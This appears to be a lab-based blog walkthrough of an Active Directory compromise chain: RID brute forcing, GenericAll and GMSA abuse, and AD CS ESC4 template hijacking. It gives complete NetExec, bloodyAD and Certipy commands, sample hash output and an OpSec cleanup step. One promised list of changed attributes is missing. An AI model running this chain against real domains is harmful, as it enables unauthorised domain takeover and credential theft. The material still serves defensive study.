The Silent Kill Chain: From RID Cycling to AD CS Template Injection

In modern Active Directory (AD) engagements, the path to Domain Admin is rarely paved with zero-day exploits. Instead, it is constructed from “features”—misconfigured permissions, legacy compatibility settings, and forgotten object properties.

In this post, I will break down a high-impact attack chain that relies entirely on native protocol abuse. We will move from an unauthenticated perspective to full Domain Compromise using RID Brute Forcing, GMSA Abuse, and a deep dive into AD CS Template Hijacking (ESC4).

We will use industry-standard offensive tools: NetExec (nxc), BloodyAD, and Certipy.

Phase 1: The Breach – RID Brute Forcing

The Vulnerability: Anonymous Enumeration / Guest Access
The Tool: NetExec (nxc)

The attack begins when a Domain Controller (DC) allows unauthenticated sessions (Null Sessions) or has the Guest account enabled. While you cannot list users via LDAP without credentials, you can query Security Identifiers (SIDs) directly via RPC over SMB if the guest account is active.

By iterating through the Relative Identifiers (RIDs)—the last part of the SID—we can map the entire organization.

The Attack Command

We target the SMB service using the guest account with an empty password:

nxc smb 10.10.10.5 -u "Guest" -p "" --rid-brute

Breakdown:

• -u "Guest" -p "": Explicitly tells the tool to attempt a session as the Guest user with no password.
• --rid-brute: Initiates the loop. It asks the DC, “Who is RID 500?”, “Who is RID 1000?”, “Who is RID 1001?”.

Technical Outcome

The server responds with the username associated with each RID.

• RID 500: Administrator (Built-in)
• RID 501: Guest (Built-in)
• RID 1000+: J.Doe, Svc_Backup, S.Smith (Custom users)

Result: We now have a valid list of usernames to spray passwords against, or in this scenario, we identify a user with a weak/empty password.

Phase 2: Lateral Movement – Weaponizing ACLs & GMSAs

The Vulnerability: Permission Delegation (GenericAll) & GMSA Misconfiguration
The Tools: BloodHound (Analysis) & BloodyAD (Exploitation)

Once we have a low-privileged user (e.g., J.Doe), we map the ACL (Access Control List) graph. We discover a common dangerous pattern:

1. J.Doe is a member of Group_A.
2. Group_A> has GenericAll rights on Group_B.
3. Group_B is allowed to read the password of a Group Managed Service Account (GMSA).

Step 1: Abuse GenericAll

Since GenericAll implies full control, we can modify Group_B’s membership to add our compromised user.

Tool: bloodyAD

bloodyAD --host 10.10.10.5 -d domain.local -u "J.Doe" -p "Password123" add groupMember "Group_B" "J.Doe"

• add groupMember: The function to manipulate group membership via LDAP.
• Target: We add ourselves to the privileged group.

Step 2: Dump the GMSA Password

Now that we are in Group_B, we satisfy the PrincipalsAllowedToReadPassword requirement for the service account (e.g., SVC_SQL$). The GMSA password is a managed blob, but we can dump the NT Hash derived from it.

Tool: NetExec

nxc ldap 10.10.10.5 -u "J.Doe" -p "Password123" --gmsa

Technical Outcome

NetExec queries the msDS-ManagedPassword attribute.

• Output: SVC_SQL$:98213…[NTLM Hash]…
• Impact: We can now Pass-the-Hash (PtH) to impersonate the service account, which likely has local admin rights on database servers or specific delegation permissions.

Phase 3: The Escalation – AD CS Template Hijacking (ESC4)

The Vulnerability: Write Access on Certificate Templates (ESC4)
The Tool: Certipy

The final step targets Active Directory Certificate Services (AD CS). This is often considered the “Master Key” of AD CS vulnerabilities because if you have Write privileges on a template, you can turn a harmless template into a weaponized one (usually turning it into an ESC1 vulnerability).

Step 1: Identification

First, we find the vulnerable template. We are looking for an ACL entry that grants our user (or group) Write, FullControl, or WriteProperty rights over the template object.

certipy find -u "SVC_SQL$" -hashes "98213..." -enabled -vulnerable

Output analysis:

Template Name: SendaiComputer
  ...
  [!] Vulnerabilities
  ESC4: 'SENDAI\\SVC_SQL$' has dangerous permissions

Step 2: The Hijack (The “Poisoning”)

We need to modify specific attributes of the template to make it exploitable. We execute the following command to reconfigure the template to allow us to supply our own Subject Alternative Name (SAN).

certipy template -u "SVC_SQL$" -hashes "98213..." -template "SendaiComputer" -save-old -configuration "EnrolleeSuppliesSubject"

Under the hood, this command changes these specific AD Attributes:

Step 3: The Enrollment (The Attack)

Now that the template is poisoned, it behaves exactly like an ESC1 vulnerability. We request a certificate for the Administrator.

certipy req -u "SVC_SQL$" -hashes "98213..." -ca "DC-CA" -template "SendaiComputer" -upn "Administrator@domain.local"

• -upn “Administrator…”: This is the critical flag. Because we enabled “Enrollee Supplies Subject,” the CA accepts this claim blindly.
• Result: You receive a file named administrator.pfx.

Step 4: The Harvest (Authentication)

We now possess a digital ID card that says “I am the Administrator,” signed by the Domain’s CA. We use this to request a Kerberos TGT.

certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5

Output:

[*] Got TGT for 'Administrator@domain.local'
[*] Saved TGT to 'administrator.ccache'
[*] Administrator:500:aad3b...:31d6c...

Impact: We have successfully impersonated the Domain Administrator. The domain is fully compromised.

Step 5: The Cleanup (OpSec)

Leaving a poisoned template is noisy and dangerous. You must revert the changes using the configuration file saved in Step 2.

certipy template -u "SVC_SQL$" -hashes "98213..." -template "SendaiComputer" -configuration "SendaiComputer.json"

Summary of the Kill Chain

This demonstrates that securing AD is not just about patching windows; it is about auditing the relationships between objects. A guest account led to a user, which led to a group, which led to a template, which led to Domain Admin.